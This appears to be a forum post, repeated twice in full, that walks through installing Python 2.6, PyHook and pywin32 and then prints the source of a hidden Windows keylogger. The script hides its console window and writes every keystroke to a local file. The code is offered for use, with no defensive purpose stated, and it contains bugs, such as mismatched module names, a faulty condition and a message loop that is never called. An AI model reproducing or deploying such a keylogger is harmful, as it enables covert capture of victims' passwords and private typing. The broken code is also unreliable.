[You must be registered and logged in to see this link.]
Left Side :- "Downloads"
Download :- Python 2.6.2 Windows Installer
Save and Install
[You must be registered and logged in to see this link.]
Left Side :- "Downloads"
Download :- PyHook-1.5.1.win32-py2.6.exe
Save and Install
[You must be registered and logged in to see this link.]
Download Now
pywin32-214.win32-py2.6.exe
Save and Install
Then Start Python IDLE (Python GUI)
import win32api
import win32console
import win32gui
import pythoncom, pyhook
win = win32console.GetConsoleWindow ()
win32gui.ShowWindow (win, 0)
def OnKeyboardEvent (event) :
if event.Ascii==5:
_exit (1)
if event.Ascii != 0 or 8:
f=open ('C:\output.txt','r')
buffer=f.read()
f.close()
f=open ('C:\output.txt','w')
keylogs=chr (event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer += keylogs
f.write (buffer)
f.close()
hm = pyHook.HookManager ()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages
[img][You must be registered and logged in to see this link.][/img]
Left Side :- "Downloads"
Download :- Python 2.6.2 Windows Installer
Save and Install
[You must be registered and logged in to see this link.]
Left Side :- "Downloads"
Download :- PyHook-1.5.1.win32-py2.6.exe
Save and Install
[You must be registered and logged in to see this link.]
Download Now
pywin32-214.win32-py2.6.exe
Save and Install
Then Start Python IDLE (Python GUI)
import win32api
import win32console
import win32gui
import pythoncom, pyhook
win = win32console.GetConsoleWindow ()
win32gui.ShowWindow (win, 0)
def OnKeyboardEvent (event) :
if event.Ascii==5:
_exit (1)
if event.Ascii != 0 or 8:
f=open ('C:\output.txt','r')
buffer=f.read()
f.close()
f=open ('C:\output.txt','w')
keylogs=chr (event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer += keylogs
f.write (buffer)
f.close()
hm = pyHook.HookManager ()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages
[img][You must be registered and logged in to see this link.][/img]